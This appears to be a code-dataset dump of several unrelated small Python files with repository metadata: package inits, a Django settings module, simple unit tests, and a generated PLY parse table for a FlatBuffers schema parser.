] | 8 | 2017-12-28T07:16:44.000Z | 2019-06-10T19:36:11.000Z | simple/utils/__init__.py | mcnanna/simple | 5d96abb3994d9034fff1dcec590d0fdced8ba784 | [
"MIT"
] | 3 | 2019-10-12T03:01:48.000Z | 2020-04-28T22:07:37.000Z | """
Simple binning search utils subpackage.
"""
| 12 | 39 | 0.708333 | 5 | 48 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145833 | 48 | 3 | 40 | 16 | 0.829268 | 0.8125 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b56f4ac3f5b60dff692b4d384824203c8587a4bd | 33 | py | Python | deep_nilmtk/data/loader/tensorflow/__init__.py | DBRTII/Deep-NILMtk | cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3 | [
"MIT"
] | 1 | 2022-03-18T08:56:18.000Z | 2022-03-18T08:56:18.000Z | deep_nilmtk/data/loader/tensorflow/__init__.py | DBRTII/Deep-NILMtk | cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3 | [
"MIT"
] | null | null | null | deep_nilmtk/data/loader/tensorflow/__init__.py | DBRTII/Deep-NILMtk | cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3 | [
"MIT"
] | null | null | null | from .general_dataloader import * | 33 | 33 | 0.848485 | 4 | 33 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 33 | 1 | 33 | 33 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b5852531387f0eaff054bb9b625c448b376114b3 | 515 | py | Python | python_programs/lcs_length_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | python_programs/lcs_length_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | python_programs/lcs_length_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | from .lcs_length import lcs_length
def test_main():
assert lcs_length('witch', 'sandwich') == 2
assert lcs_length('meow', 'homeowner') == 4
assert lcs_length('aaa', 'baaa') == 3
assert lcs_length('aaa', 'aaab') == 3
assert lcs_length('aaa', 'aaa') == 3
assert lcs_length('bab', 'a') == 1
assert lcs_length('a', 'bab') == 1
assert lcs_length('aa', 'baab') == 2
assert lcs_length('ba', 'a') == 1
assert lcs_length('ab', 'a') == 1
if __name__ == "__main__":
test_main()
| 27.105263 | 47 | 0.592233 | 74 | 515 | 3.824324 | 0.364865 | 0.381625 | 0.530035 | 0.190813 | 0.254417 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024631 | 0.21165 | 515 | 18 | 48 | 28.611111 | 0.672414 | 0 | 0 | 0 | 0 | 0 | 0.143689 | 0 | 0 | 0 | 0 | 0 | 0.714286 | 1 | 0.071429 | true | 0 | 0.071429 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b5aedffcd6cb5ce7ef03318286c521194a5cf127 | 232 | py | Python | image_optimizer/settings.py | alissonmuller/django-image-optimizer | 766ebda52c64d85e2f1f4bdc3cde958156fc1b3f | [
"MIT"
] | null | null | null | image_optimizer/settings.py | alissonmuller/django-image-optimizer | 766ebda52c64d85e2f1f4bdc3cde958156fc1b3f | [
"MIT"
] | null | null | null | image_optimizer/settings.py | alissonmuller/django-image-optimizer | 766ebda52c64d85e2f1f4bdc3cde958156fc1b3f | [
"MIT"
] | 1 | 2021-01-30T22:16:26.000Z | 2021-01-30T22:16:26.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.conf import settings
OPTIMIZED_IMAGE_METHOD = getattr(settings, 'OPTIMIZED_IMAGE_METHOD', 'tinypng')
TINYPNG_KEY = getattr(settings, 'TINYPNG_KEY', None)
| 29 | 79 | 0.780172 | 29 | 232 | 5.862069 | 0.62069 | 0.2 | 0.258824 | 0.329412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004831 | 0.107759 | 232 | 7 | 80 | 33.142857 | 0.816425 | 0.090517 | 0 | 0 | 0 | 0 | 0.191388 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a92d7f750cba93cef727b431b93ef5ee02c5c1c1 | 23 | py | Python | modelforge/version.py | irinakhismatullina/modelforge | 5ed2f235b6171bf35e67feb55f84881163dd81bf | [
"Apache-2.0"
] | null | null | null | modelforge/version.py | irinakhismatullina/modelforge | 5ed2f235b6171bf35e67feb55f84881163dd81bf | [
"Apache-2.0"
] | null | null | null | modelforge/version.py | irinakhismatullina/modelforge | 5ed2f235b6171bf35e67feb55f84881163dd81bf | [
"Apache-2.0"
] | null | null | null | __version__ = 0, 11, 1
| 11.5 | 22 | 0.652174 | 4 | 23 | 2.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 0.217391 | 23 | 1 | 23 | 23 | 0.388889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
8d391c5efc366eba1cdf5d320ed02159ef34eaa7 | 561 | py | Python | experiments/__init__.py | XiaoMutt/ucbc | f8aeb65dc5a11ecd82fd969d120f3a848d61c064 | [
"MIT"
] | null | null | null | experiments/__init__.py | XiaoMutt/ucbc | f8aeb65dc5a11ecd82fd969d120f3a848d61c064 | [
"MIT"
] | null | null | null | experiments/__init__.py | XiaoMutt/ucbc | f8aeb65dc5a11ecd82fd969d120f3a848d61c064 | [
"MIT"
] | null | null | null | from .bernoulli import BernoulliExperimentWithin, BernoulliExperimentWithin10RandomArms
from .bernoulli import BernoulliExperimentWithin10AdversarialArms
from .bimodal import BimodalExperimentWithin, BimodalExperimentBeyond, BimodalExperimentWithin10RandomArms
from .normal import NormalExperimentWithin, NormalExperimentBeyond, NormalExperimentWithin10RandomArms
from .normal import NormalExperimentWithin10AdversarialArms
from .uniform import UniformExperimentWithin, UniformExperimentBeyond, UniformExperimentWithin10RandomArms
from .basis import Experiment
| 70.125 | 106 | 0.912656 | 35 | 561 | 14.628571 | 0.6 | 0.050781 | 0.074219 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022814 | 0.062389 | 561 | 7 | 107 | 80.142857 | 0.95057 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8d3be1095229980805b57485efd1c788928885a5 | 166 | py | Python | apps/external_apps/schedule/admin.py | indro/t2c | 56482ad4aed150f29353e054db2c97b567243bf8 | [
"MIT"
] | 3 | 2015-12-25T14:45:36.000Z | 2016-11-28T09:58:03.000Z | apps/external_apps/schedule/admin.py | indro/t2c | 56482ad4aed150f29353e054db2c97b567243bf8 | [
"MIT"
] | null | null | null | apps/external_apps/schedule/admin.py | indro/t2c | 56482ad4aed150f29353e054db2c97b567243bf8 | [
"MIT"
] | null | null | null | from django.contrib import admin
from schedule.models import Calendar, Event, CalendarRelation, Rule
admin.site.register([Rule, Event, Calendar, CalendarRelation])
| 27.666667 | 67 | 0.813253 | 20 | 166 | 6.75 | 0.65 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10241 | 166 | 5 | 68 | 33.2 | 0.90604 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8d8c9e992ed580185f19873f8ab377ba80dafe6e | 998 | py | Python | tests/test_socfaker_dns.py | priamai/soc-faker | 51b587f0cec52212136905280406e915006d2afc | [
"MIT"
] | 122 | 2020-02-21T16:06:54.000Z | 2022-03-21T13:53:03.000Z | tests/test_socfaker_dns.py | priamai/soc-faker | 51b587f0cec52212136905280406e915006d2afc | [
"MIT"
] | 13 | 2020-01-29T16:37:05.000Z | 2022-01-27T21:30:10.000Z | tests/test_socfaker_dns.py | priamai/soc-faker | 51b587f0cec52212136905280406e915006d2afc | [
"MIT"
] | 20 | 2020-04-10T11:59:29.000Z | 2022-02-10T09:20:26.000Z | def test_socfaker_dns_record(socfaker_fixture):
assert socfaker_fixture.dns.record
def test_socfaker_dns_header_flags(socfaker_fixture):
assert socfaker_fixture.dns.header_flags
assert isinstance(socfaker_fixture.dns.header_flags, list)
def test_socfaker_dns_id(socfaker_fixture):
assert socfaker_fixture.dns.id
def test_socfaker_dns_response_code(socfaker_fixture):
assert socfaker_fixture.dns.response_code
def test_socfaker_dns_op_code(socfaker_fixture):
assert socfaker_fixture.dns.op_code
def test_socfaker_dns_answers(socfaker_fixture):
assert socfaker_fixture.dns.answers
assert isinstance(socfaker_fixture.dns.answers, list)
def test_socfaker_dns_question(socfaker_fixture):
assert socfaker_fixture.dns.question
assert isinstance(socfaker_fixture.dns.question, dict)
def test_socfaker_dns_direction(socfaker_fixture):
assert socfaker_fixture.dns.direction
def test_socfaker_dns_name(socfaker_fixture):
assert socfaker_fixture.dns.name | 34.413793 | 62 | 0.839679 | 136 | 998 | 5.757353 | 0.147059 | 0.402299 | 0.275862 | 0.206897 | 0.729246 | 0.458493 | 0.109834 | 0 | 0 | 0 | 0 | 0 | 0.1002 | 998 | 29 | 63 | 34.413793 | 0.871938 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.571429 | 1 | 0.428571 | false | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
570951e5039cc267913a5078fd4f312c1faa0b7c | 123 | py | Python | COERbuoyOne/__init__.py | SiHeTh/COERbuoyOne | 2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d | [
"BSD-3-Clause"
] | 1 | 2021-09-27T23:55:58.000Z | 2021-09-27T23:55:58.000Z | COERbuoyOne/__init__.py | SiHeTh/COERbuoyOne | 2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d | [
"BSD-3-Clause"
] | null | null | null | COERbuoyOne/__init__.py | SiHeTh/COERbuoyOne | 2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d | [
"BSD-3-Clause"
] | null | null | null | from COERbuoy.simulation import start_simu, reg_wave, bretschneider_wave, decay_test
from COERbuoyOne.benchmark import run
| 41 | 84 | 0.869919 | 17 | 123 | 6.058824 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089431 | 123 | 2 | 85 | 61.5 | 0.919643 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
573fe05073d7fe2b9eaef9dce5813e48f9a5bae7 | 13,795 | py | Python | fbs/parser/parsetab.py | adsharma/flattools | ec61147ec35a8426dd8a8f312d48484ec1b2cb84 | [
"MIT"
] | 17 | 2017-03-31T08:21:47.000Z | 2022-02-24T00:27:22.000Z | fbs/parser/parsetab.py | adsharma/flattools | ec61147ec35a8426dd8a8f312d48484ec1b2cb84 | [
"MIT"
] | 3 | 2018-03-08T18:21:26.000Z | 2020-10-27T04:36:05.000Z | fbs/parser/parsetab.py | adsharma/flattools | ec61147ec35a8426dd8a8f312d48484ec1b2cb84 | [
"MIT"
] | 1 | 2018-12-06T12:59:16.000Z | 2018-12-06T12:59:16.000Z |
# parsetab.py
# This file is automatically generated. Do not edit.
# pylint: disable=W,C,R
_tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = "ATTRIBUTE BOOL BOOLCONSTANT BYTE DOUBLE DUBCONSTANT ENUM FILE_EXTENSION FILE_IDENTIFIER FLOAT IDENTIFIER INCLUDE INT INTCONSTANT LITERAL LONG NAMESPACE ROOT_TYPE SHORT STRING STRUCT TABLE UBYTE UINT ULONG UNION USHORTstart : include_seq body_seqinclude_seq : include_seq include_one\n | include_one\n |body_seq : body_seq body\n | body\n |include_one : INCLUDE LITERAL ';' body : namespace\n | typedef\n | enum\n | root\n | file_extension\n | file_identifier\n | attribute\n | object\n |namespace : NAMESPACE IDENTIFIER ';' root : ROOT_TYPE IDENTIFIER ';' file_extension : FILE_EXTENSION LITERAL ';' file_identifier : FILE_IDENTIFIER LITERAL ';' metadata : '(' metadata_seq ')'\n |metadata_seq : metadata_item ',' metadata_seq\n | metadata_item\n |metadata_item : IDENTIFIER\n | IDENTIFIER ':' scalarattribute : ATTRIBUTE LITERAL ';' object : '{' field_seq '}' typedef : table\n typedef : struct enum : ENUM IDENTIFIER metadata '{' enum_seq '}'\n enum : ENUM IDENTIFIER ':' simple_base_type metadata '{' enum_seq '}'\n enum : unionenum_seq : enum_item ',' enum_seq\n | enum_item enum_seq\n |enum_item : IDENTIFIER '=' INTCONSTANT\n | IDENTIFIER '=' LITERAL\n | IDENTIFIER\n |struct : STRUCT IDENTIFIER metadata '{' field_seq '}' table : TABLE IDENTIFIER metadata '{' field_seq '}' union : UNION IDENTIFIER metadata '{' enum_seq '}' field_seq : field field_seq\n |field : IDENTIFIER ':' type metadata ';'\n | IDENTIFIER ':' type '=' scalar metadata ';' type : simple_base_type\n | '[' type ']'\n | IDENTIFIERsimple_base_type : BOOL\n | BYTE\n | UBYTE\n | SHORT\n | USHORT\n | INT\n | UINT\n | FLOAT\n | LONG\n | ULONG\n | DOUBLE\n | STRINGscalar : LITERAL\n | BOOLCONSTANT\n | DUBCONSTANT\n | INTCONSTANT\n | IDENTIFIER"
_lr_action_items = {'SHORT':([49,55,79,],[71,71,71,]),'BOOLCONSTANT':([84,92,],[99,99,]),'UBYTE':([49,55,79,],[67,67,67,]),'[':([55,79,],[79,79,]),'DUBCONSTANT':([84,92,],[101,101,]),'FILE_IDENTIFIER':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,25,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,25,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ULONG':([49,55,79,],[64,64,64,]),')':([45,58,59,60,83,95,96,97,98,99,100,101,],[-26,82,-25,-27,-26,-24,-69,-68,-65,-66,-28,-67,]),'(':([31,32,35,36,63,64,65,66,67,68,69,70,71,72,73,74,75,78,80,81,96,97,98,99,101,110,112,],[45,45,45,45,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,45,-57,-54,45,-52,-50,-69,-68,-65,-66,-67,45,-51,]),'FILE_EXTENSION':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,13,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,13,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),',':([59,60,61,76,86,87,96,97,98,99,100,101,105,107,113,114,],[83,-27,-42,-42,-41,105,-69,-68,-65,-66,-28,-67,-42,-42,-39,-40,]),'LONG':([49,55,79,],[69,69,69,]),'INTCONSTANT':([84,92,103,],[97,97,113,]),'TABLE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,16,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,16,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),';':([29,30,34,37,38,39,63,64,65,66,67,68,69,70,71,72,74,75,78,80,81,82,93,96,97,98,99,101,110,112,117,],[43,44,48,52,53,54,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,-23,-52,-50,-22,111,-69,-68,-65,-66,-67,-23,-51,119,]),'IDENTIFIER':([15,16,21,22,23,24,27,41,45,55,61,62,76,77,79,83,84,86,87,92,105,107,111,113,114,119,],[31,32,34,35,36,37,40,40,60,80,86,40,86,40,80,60,96,-41,86,96,86,86,-48,-39,-40,-49,]),'=':([63,64,65,66,67,68,69,70,71,72,74,75,78,80,81,86,112,],[-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,92,-52,-50,103,-51,]),'$end':([0,1,2,3,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,-7,0,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,-1,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'STRING':([49,55,79,],[63,63,63,]),'UNION':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,15,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,15,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ENUM':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,22,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,22,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'NAMESPACE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,21,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,21,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'LITERAL':([4,13,25,26,84,92,103,],[29,30,38,39,98,98,114,]),'UINT':([49,55,79,],[68,68,68,]),'BYTE':([49,55,79,],[75,75,75,]),'INCLUDE':([0,1,2,5,43,],[4,-3,4,-2,-8,]),']':([63,64,65,66,67,68,69,70,71,72,74,75,80,81,94,112,],[-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,-52,-50,112,-51,]),':':([35,40,60,],[49,55,84,]),'STRUCT':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,23,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,23,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ROOT_TYPE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,24,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,24,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'INT':([49,55,79,],[65,65,65,]),'ATTRIBUTE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,26,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,26,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'USHORT':([49,55,79,],[74,74,74,]),'FLOAT':([49,55,79,],[70,70,70,]),'BOOL':([49,55,79,],[72,72,72,]),'DOUBLE':([49,55,79,],[66,66,66,]),'{':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,31,32,33,35,36,43,44,46,47,48,50,51,52,53,54,57,63,64,65,66,67,68,69,70,71,72,73,74,75,82,89,102,106,108,109,118,],[-4,-3,27,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,27,-11,-12,-23,-23,-5,-23,-23,-8,-20,61,62,-18,76,77,-19,-21,-29,-30,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-23,-57,-54,-22,107,-45,-44,-33,-43,-34,]),'}':([27,41,42,56,61,62,76,77,85,86,87,88,90,91,104,105,107,111,113,114,115,116,119,],[-47,-47,57,-46,-38,-47,-38,-47,102,-41,-38,106,108,109,-37,-38,-38,-48,-39,-40,-36,118,-49,]),}
_lr_action = {}
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = {}
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'include_one':([0,2,],[1,5,]),'attribute':([2,19,],[6,6,]),'file_extension':([2,19,],[7,7,]),'scalar':([84,92,],[100,110,]),'table':([2,19,],[8,8,]),'field_seq':([27,41,62,77,],[42,56,88,91,]),'file_identifier':([2,19,],[9,9,]),'typedef':([2,19,],[10,10,]),'include_seq':([0,],[2,]),'struct':([2,19,],[11,11,]),'start':([0,],[3,]),'union':([2,19,],[12,12,]),'namespace':([2,19,],[14,14,]),'field':([27,41,62,77,],[41,41,41,41,]),'type':([55,79,],[78,94,]),'metadata':([31,32,35,36,73,78,110,],[46,47,50,51,89,93,117,]),'body':([2,19,],[17,33,]),'object':([2,19,],[18,18,]),'body_seq':([2,],[19,]),'enum':([2,19,],[20,20,]),'simple_base_type':([49,55,79,],[73,81,81,]),'enum_item':([61,76,87,105,107,],[87,87,87,87,87,]),'enum_seq':([61,76,87,105,107,],[85,90,104,115,116,]),'metadata_seq':([45,83,],[58,95,]),'metadata_item':([45,83,],[59,59,]),'root':([2,19,],[28,28,]),}
_lr_goto = {}
for _k, _v in _lr_goto_items.items():
for _x, _y in zip(_v[0], _v[1]):
if not _x in _lr_goto: _lr_goto[_x] = {}
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> start","S'",1,None,None,None),
('start -> include_seq body_seq','start',2,'p_start','parser.py',30),
('include_seq -> include_seq include_one','include_seq',2,'p_include_seq','parser.py',34),
('include_seq -> include_one','include_seq',1,'p_include_seq','parser.py',35),
('include_seq -> <empty>','include_seq',0,'p_include_seq','parser.py',36),
('body_seq -> body_seq body','body_seq',2,'p_body_seq','parser.py',39),
('body_seq -> body','body_seq',1,'p_body_seq','parser.py',40),
('body_seq -> <empty>','body_seq',0,'p_body_seq','parser.py',41),
('include_one -> INCLUDE LITERAL ;','include_one',3,'p_include_one','parser.py',44),
('body -> namespace','body',1,'p_body','parser.py',62),
('body -> typedef','body',1,'p_body','parser.py',63),
('body -> enum','body',1,'p_body','parser.py',64),
('body -> root','body',1,'p_body','parser.py',65),
('body -> file_extension','body',1,'p_body','parser.py',66),
('body -> file_identifier','body',1,'p_body','parser.py',67),
('body -> attribute','body',1,'p_body','parser.py',68),
('body -> object','body',1,'p_body','parser.py',69),
('body -> <empty>','body',0,'p_body','parser.py',70),
('namespace -> NAMESPACE IDENTIFIER ;','namespace',3,'p_namespace','parser.py',73),
('root -> ROOT_TYPE IDENTIFIER ;','root',3,'p_root','parser.py',77),
('file_extension -> FILE_EXTENSION LITERAL ;','file_extension',3,'p_file_extension','parser.py',81),
('file_identifier -> FILE_IDENTIFIER LITERAL ;','file_identifier',3,'p_file_identifier','parser.py',85),
('metadata -> ( metadata_seq )','metadata',3,'p_metadata','parser.py',89),
('metadata -> <empty>','metadata',0,'p_metadata','parser.py',90),
('metadata_seq -> metadata_item , metadata_seq','metadata_seq',3,'p_metadata_seq','parser.py',97),
('metadata_seq -> metadata_item','metadata_seq',1,'p_metadata_seq','parser.py',98),
('metadata_seq -> <empty>','metadata_seq',0,'p_metadata_seq','parser.py',99),
('metadata_item -> IDENTIFIER','metadata_item',1,'p_metadata_item','parser.py',103),
('metadata_item -> IDENTIFIER : scalar','metadata_item',3,'p_metadata_item','parser.py',104),
('attribute -> ATTRIBUTE LITERAL ;','attribute',3,'p_attribute','parser.py',111),
('object -> { field_seq }','object',3,'p_object','parser.py',114),
('typedef -> table','typedef',1,'p_typedef','parser.py',117),
('typedef -> struct','typedef',1,'p_typedef','parser.py',118),
('enum -> ENUM IDENTIFIER metadata { enum_seq }','enum',6,'p_enum','parser.py',123),
('enum -> ENUM IDENTIFIER : simple_base_type metadata { enum_seq }','enum',8,'p_enum','parser.py',124),
('enum -> union','enum',1,'p_enum','parser.py',125),
('enum_seq -> enum_item , enum_seq','enum_seq',3,'p_enum_seq','parser.py',138),
('enum_seq -> enum_item enum_seq','enum_seq',2,'p_enum_seq','parser.py',139),
('enum_seq -> <empty>','enum_seq',0,'p_enum_seq','parser.py',140),
('enum_item -> IDENTIFIER = INTCONSTANT','enum_item',3,'p_enum_item','parser.py',145),
('enum_item -> IDENTIFIER = LITERAL','enum_item',3,'p_enum_item','parser.py',146),
('enum_item -> IDENTIFIER','enum_item',1,'p_enum_item','parser.py',147),
('enum_item -> <empty>','enum_item',0,'p_enum_item','parser.py',148),
('struct -> STRUCT IDENTIFIER metadata { field_seq }','struct',6,'p_struct','parser.py',156),
('table -> TABLE IDENTIFIER metadata { field_seq }','table',6,'p_table','parser.py',163),
('union -> UNION IDENTIFIER metadata { enum_seq }','union',6,'p_union','parser.py',170),
('field_seq -> field field_seq','field_seq',2,'p_field_seq','parser.py',177),
('field_seq -> <empty>','field_seq',0,'p_field_seq','parser.py',178),
('field -> IDENTIFIER : type metadata ;','field',5,'p_field','parser.py',183),
('field -> IDENTIFIER : type = scalar metadata ;','field',7,'p_field','parser.py',184),
('type -> simple_base_type','type',1,'p_type','parser.py',207),
('type -> [ type ]','type',3,'p_type','parser.py',208),
('type -> IDENTIFIER','type',1,'p_type','parser.py',209),
('simple_base_type -> BOOL','simple_base_type',1,'p_simple_base_type','parser.py',219),
('simple_base_type -> BYTE','simple_base_type',1,'p_simple_base_type','parser.py',220),
('simple_base_type -> UBYTE','simple_base_type',1,'p_simple_base_type','parser.py',221),
('simple_base_type -> SHORT','simple_base_type',1,'p_simple_base_type','parser.py',222),
('simple_base_type -> USHORT','simple_base_type',1,'p_simple_base_type','parser.py',223),
('simple_base_type -> INT','simple_base_type',1,'p_simple_base_type','parser.py',224),
('simple_base_type -> UINT','simple_base_type',1,'p_simple_base_type','parser.py',225),
('simple_base_type -> FLOAT','simple_base_type',1,'p_simple_base_type','parser.py',226),
('simple_base_type -> LONG','simple_base_type',1,'p_simple_base_type','parser.py',227),
('simple_base_type -> ULONG','simple_base_type',1,'p_simple_base_type','parser.py',228),
('simple_base_type -> DOUBLE','simple_base_type',1,'p_simple_base_type','parser.py',229),
('simple_base_type -> STRING','simple_base_type',1,'p_simple_base_type','parser.py',230),
('scalar -> LITERAL','scalar',1,'p_scalar','parser.py',260),
('scalar -> BOOLCONSTANT','scalar',1,'p_scalar','parser.py',261),
('scalar -> DUBCONSTANT','scalar',1,'p_scalar','parser.py',262),
('scalar -> INTCONSTANT','scalar',1,'p_scalar','parser.py',263),
('scalar -> IDENTIFIER','scalar',1,'p_scalar','parser.py',264),
]
